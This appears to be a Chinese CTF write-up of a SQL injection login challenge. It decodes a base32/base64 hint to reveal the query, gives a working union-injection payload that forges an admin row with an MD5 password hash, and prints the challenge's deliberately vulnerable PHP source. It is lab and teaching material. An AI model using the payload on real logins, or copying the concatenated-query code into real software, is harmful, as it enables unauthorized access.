解题步骤【这道题要是没有原吗 有点难想】
- 可以通过bp爆破用户名,但这里用手打admin试出来了;密码写了123,显示wrong pass【猜测密码错了】。
- F12看有没有提示;涉及一个base32【组成部分只有大写字母和数字数字组成,或后面有三个等号】和base64【组成部分:字母A-Z、a-z、数字0-9,+ , /】;所以猜测这一串可能是base32加密,我这里用kali解密。
进行一次base32解密
powershell
echo "MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5" | base32 -d
再一次进行base64解密,得到sql语句
powershell
echo "c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==" | base64 -d
-
用union联合注入,不知道是不是hackbar的问题,说我的sql语法有错,用bp抓包,修改就没问题(百思不得其解)。202cb962ac59075b964b07152d234b70这个是123通过MD5解密而来的数据。要注意 name=1'不能写成=admin' 这样会查询到两个admin账户,要使只有我们现在查询的admin,只能union前面查询的数据没有显示才行。
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
-
此题的源码(乱来)
php
<?php
require "config.php";
require "flag.php";
//
去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){ #md5加密
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>